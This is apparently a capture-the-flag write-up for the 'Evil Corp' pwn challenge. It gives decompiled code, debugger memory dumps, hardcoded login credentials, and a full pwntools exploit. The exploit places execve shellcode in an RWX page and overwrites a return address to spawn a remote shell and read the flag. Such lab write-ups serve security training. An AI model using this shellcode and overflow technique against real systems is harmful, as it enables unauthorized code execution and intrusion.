

Evil Corp

1) Checked Security

```
(vigneswar@VigneswarPC)-[~/Pwn/Evil Corp/pwn_evil_corp]
$ checksec evil-corp
[*] '/home/vigneswar/Pwn/Evil Corp/pwn_evil_corp/evil-corp'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
```

2) Decompiled the code

Decompile: Setup - (evil-corp)

```
1
2 void Setup(void)
3
4 {
5     setlocale(6, "en_US.UTF-8");
6     setvbuf(stdin, (char *)0x0, 2, 0);
7     setvbuf(stdout, (char *)0x0, 2, 0);
8     SupportMsg = mmap((void *)0x10000, 0x4b0, 3, 0x4032, -1, 0);
9     AssemblyTestPage = mmap((void *)0x11000, 0x800, 7, 0x4032, -1, 0);
10    return;
11 }
12
```

```
1
2 void main(void)
3
4 {
5     Setup();
6     do {
7         while( true ) {
8             WelcomeMsg();
9             if (LOGGED_IN == '\0') break;
10            WelcomeMsg();
11            ShowNotifications();
12            GetOpt();
13        }
14        Login();
15    } while( true );
16 }
17
```

```
Decompile: Login - (evil-corp)

1
2 void Login(void)
3
4 {
5     int iVar1;
6     wchar_t awStack_158 [32];
7     wchar_t local_d8 [32];
8     undefined8 local_58;
9     undefined8 local_50;
10    undefined8 local_48;
11    undefined8 local_40;
12    undefined8 local_38;
13    undefined8 local_30;
14    undefined8 local_28;
15    undefined8 local_20;
16    undefined4 local_18;
17
18    local_48 = 0x6c00000050;
19    local_40 = 0x6100000065;
20    local_38 = 0x6500000073;
21    local_30 = 0x6c00000020;
22    local_28 = 0x670000006f;
23    local_20 = 0x6e00000069;
24    local_18 = 0;
25    local_58 = 0x767b00008bf7;
26    local_50 = 0x5f55;
27    wprintf(L"%ls , %ls \n",&local_48,&local_58);
28    wprintf(L"Username: ");
29    fgetws(local_d8,0x1e,stdin);
30    wprintf(L>Password: ");
31    fgetws(awStack_158,300,stdin);
32    iVar1 = wcscmp(local_d8,L"eliot\n");
33    if ((iVar1 == 0) && (iVar1 = wcscmp(awStack_158,L"4007\n"), iVar1 == 0)) {
34        LOGGED_IN = 1;
35        return;
36    }
37    wprintf(L"Sorry, please try again or contact your system administrator.\n");
38    wprintf(L"XXXXXXXXXXXXXXXXXX\n");
39    return;
40 }
41
```

```
Decompile: CleanUp - (evil-corp)

1
2 void CleanUp(void)
3
4 {
5     munmap(AssemblyTestPage,0x200);
6     munmap(SupportMsg,300);
7     return;
8 }
9
```

```
Decompile: GetOpt - (evil-corp)

1
2 void GetOpt(void)
3
4 {
5     int iVar1;
6     long lVar2;
7     wchar_t local_10 [2];
8
9     if (LOGGED_IN == '\0') {
10         return;
11     }
12     do {
13         wprintf(L"Main Menu: \n");
14         wprintf(L"\x1b[90m1. Assembly Tester (ofs *_*)\x1b[0m \n");
15         wprintf(L"2. Contact Support\n");
16         wprintf(L"3. Logout\n");
17         wprintf(L"4. Exit\n");
18         wprintf(L">>> ");
19         fgetws(local_10,4,stdin);
20         lVar2 = wcstol(local_10,(wchar_t **)0x0,10);
21         iVar1 = (int)lVar2;
22         if (iVar1 == 1) {
23             wprintf(L"Sorry, This option is not available.\n");
24             wprintf(L"XXXXXXXXXXXX\n");
25         }
26         else if (iVar1 == 2) {
27             ContactSupport();
28         }
29         else if (iVar1 == 3) {
30             wprintf(L"Goodbye.\n");
31             wprintf(L"XXX\n");
32             LOGGED_IN = '\0';
33         }
34         else {
35             if (iVar1 == 4) {
36                 /* WARNING: Subroutine does not return */
37                 exit(0);
38             }
39             wprintf(L"Invalid option.\n");
40             wprintf(L"XXXX\n");
41         }
42         wprintf(L"\n");
43     } while (LOGGED_IN != '\0');
44     return;
45 }
46
```

```
Decompile: ContactSupport - (evil-corp)

1
2 void ContactSupport(void)
3
4 {
5     wchar_t awStack_3e88 [4000];
6
7     wprintf(
8         L"Please in less than 1000 character describe your issue and we will \ncontact you for furt
9         her information if necessary.\n"
10    );
11    wprintf(
12        L"XX 1000 XXXXXXXXXXXXXXXXXXXX\nXXXXXXXXXXXXXXXXXXXX\n\n"
13    );
14    fgetws(awStack_3e88,0x1000,stdin);
15    wcharToChar16(awStack_3e88,SupportMsg,0x1000);
16    wprintf(L"\nThank you! \nXX \n");
17    return;
18 }
```

3) Notes:

- i) The credential is eliot:4007
- ii) There is stack overflow in ContactSupport and Login password
- iii) In this binary, each character input takes 4 bytes

```
0x00007ffffc21d9660 | +0x0000: 0x00000005500000055 ("U"?)  
$rsp  
0x00007ffffc21d9668 | +0x0008: 0x0000000000000000a ("\n"?)  
0x00007ffffc21d9670 | +0x0010: 0x0000000000000000  
0x00007ffffc21d9678 | +0x0018: 0x0000000000000000  
0x00007ffffc21d9680 | +0x0020: 0x0000000000000000  
0x00007ffffc21d9688 | +0x0028: 0x0000000000000000  
0x00007ffffc21d9690 | +0x0030: 0x0000000000000000  
0x00007ffffc21d9698 | +0x0038: 0x0000000000000000  
  
code:x86:64  
0x55746a00578d <ContactSupport+0034> mov     esi, 0x1000  
0x55746a005792 <ContactSupport+0039> mov     rdi, rbx  
0x55746a005795 <ContactSupport+003c> call    0x55746a005040 <fgetws@plt>  
→ 0x55746a00579a <ContactSupport+0041> mov     edx, 0x1000  
0x55746a00579f <ContactSupport+0046> mov     rsi, QWORD PTR [rip+0x38ea]  
# 0x55746a009090 <SupportMsg>  
0x55746a0057a6 <ContactSupport+004d> mov     rdi, rbx  
0x55746a0057a9 <ContactSupport+0050> call    0x55746a005288 <wcharToChar16>  
0x55746a0057ae <ContactSupport+0055> lea     rdi, [rip+0x1633] # 0x5  
5746a006de8  
0x55746a0057b5 <ContactSupport+005c> mov     eax, 0x0  
  
threads  
[#0] Id 1, Name: "evil-corp", stopped 0x55746a00579a in ContactSupport (), re  
ason: SINGLE STEP  
  
trace  
[#0] 0x55746a00579a → ContactSupport()  
[#1] 0x55746a0058f6 → GetOpt()  
[#2] 0x55746a005985 → main()  
  
(remote) gef>
```

```
→ 0x55865819c75a <ContactSupport+0001> sub     rsp, 0x3e80
```

16000 bytes are allocated for 4000 characters

iv) Before fgets

```
(remote) gef> x/30a $rsp+0x3e80-0x20
0x7ffe3a4ca750: 0x1      0x0
0x7ffe3a4ca760: 0x7ffe3a4ca8c8  0x0
0x7ffe3a4ca770: 0x7ffe3a4ca788  0x55a1ca1678f6 <GetOpt+302>
0x7ffe3a4ca780: 0x720000006f  0xa00000032
0x7ffe3a4ca790: 0x7ffe00000000  0x55a1ca167985 <main+75>
0x7ffe3a4ca7a0: 0x7ffe3a4ca8b8  0x7f57819dc6ca <__libc_start_call_main+122>
0x7ffe3a4ca7b0: 0x7ffe3a4ca8a0  0x55a1ca16793a <main>
0x7ffe3a4ca7c0: 0x1ca166040    0x7ffe3a4ca8b8
0x7ffe3a4ca7d0: 0x7ffe3a4ca8b8  0xaf3a45707891f2db
0x7ffe3a4ca7e0: 0x0      0x7ffe3a4ca8c8
0x7ffe3a4ca7f0: 0x0      0x7f5781bdc000 <_rtld_global>
0x7ffe3a4ca800: 0x50c631e937f3f2db  0x5195464bf597f2db
0x7ffe3a4ca810: 0x0      0x0
0x7ffe3a4ca820: 0x0      0x0
0x7ffe3a4ca830: 0x7ffe3a4ca8b8  0xf7a8550b15c87a00
```

After fgets -> 4000 bytes write

```
(remote) gef> x/30a $rsp+0x3e80-0x20
0x7ffe3a4ca750: 0x5500000055  0x5500000055
0x7ffe3a4ca760: 0x5500000055  0x5500000055
0x7ffe3a4ca770: 0xa      0x55a1ca1678f6 <GetOpt+302>
0x7ffe3a4ca780: 0x720000006f  0xa00000032
0x7ffe3a4ca790: 0x7ffe00000000  0x55a1ca167985 <main+75>
0x7ffe3a4ca7a0: 0x7ffe3a4ca8b8  0x7f57819dc6ca <__libc_start_call_main+122>
0x7ffe3a4ca7b0: 0x7ffe3a4ca8a0  0x55a1ca16793a <main>
0x7ffe3a4ca7c0: 0x1ca166040    0x7ffe3a4ca8b8
0x7ffe3a4ca7d0: 0x7ffe3a4ca8b8  0xaf3a45707891f2db
0x7ffe3a4ca7e0: 0x0      0x7ffe3a4ca8c8
0x7ffe3a4ca7f0: 0x0      0x7f5781bdc000 <_rtld_global>
0x7ffe3a4ca800: 0x50c631e937f3f2db  0x5195464bf597f2db
0x7ffe3a4ca810: 0x0      0x0
0x7ffe3a4ca820: 0x0      0x0
0x7ffe3a4ca830: 0x7ffe3a4ca8b8  0xf7a8550b15c87a00
(remote) gef>
```

iv) A rwx memory is mapped in Setup

```
Decompile: Setup - (evil-corp)
1
2 void Setup(void)
3
4 {
5     setlocale(6, "en_US.UTF-8");
6     setvbuf(stdin, (char *)0x0, 2, 0);
7     setvbuf(stdout, (char *)0x0, 2, 0);
8     SupportMsg = mmap((void *)0x10000, 0x4b0, 3, 0x4032, -1, 0);
9     AssemblyTestPage = mmap((void *)0x11000, 0x800, 7, 0x4032, -1, 0);
10    return;
11 }
12
```

We can write on Support message

```
fgetws(awStack_3e88, 0x1000, stdin);
wcharToChar16(awStack_3e88, SupportMsg, 0x1000);
```

Since each character is 4 bytes, we can write $0x1000 * 4 = > 16000$ characters and write on AssemblyTestPage

4) Attack Plan

- i) Write a shellcode on AssemblyTestPage by overflowing SupportMsg segment
- ii) Jump to shellcode using stackoverflow on login password

5) Exploit:

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./evil-corp")
context.binary = exe

# io = gdb.debug(exe.path, 'b*ContactSupport+0x55\nc\nb* Login+0x16a\nc')

io = remote('94.237.58.148', 34133)
shellcode =
b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x
58\x99\x0f\x05\x00"
shellcode = ''.join([f'\u{x:02x}\u{y:02x}' for x, y in zip(shellcode[1::2],
shellcode[::2])])
shellcode =
'\u3148\u56f6\u0bf48\u622f\u6e69\u2f2f\u6873\u5457\u6a5f\u583b\u0f99\u0005'
io.sendlineafter(b': ', b'eliot')
io.sendlineafter(b': ', b'4007')
io.sendlineafter(b'>> ', b'2')
io.sendline('\x55'*2048+shellcode)
io.sendlineafter(b'>> ', b'3')
io.sendlineafter(b': ', b'eliot')
io.sendlineafter(b': ', '\x55'*86+'\U00011000\u0000')
io.interactive()
```

6) Flag

```
(vigneswar@VigneswarPC)~/Pwn/Evil Corp/pwn_evil_corp
$ python3 solve.py
/home/vigneswar/Pwn/Evil Corp/pwn_evil_corp/solve.py:19: BytesWarning: Text is not bytes; assuming UTF-8, no guarantees. See https://docs.pwntools.com/#byte
s
  io.sendline('\x55'*2048+shellcode)
/home/vigneswar/Pwn/Evil Corp/pwn_evil_corp/solve.py:22: BytesWarning: Text is not bytes; assuming UTF-8, no guarantees. See https://docs.pwntools.com/#byte
s
  io.sendlineafter(b': ', '\x55'*86+'\U00011000\u0000')
Sorry, please try again or contact your system administrator.
抱歉，请重试或致电系统管理员。
$ ls
bin
boot
dev
etc
evil-corp
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
HTB{45c11_15_N07_4L0000n3}
$
```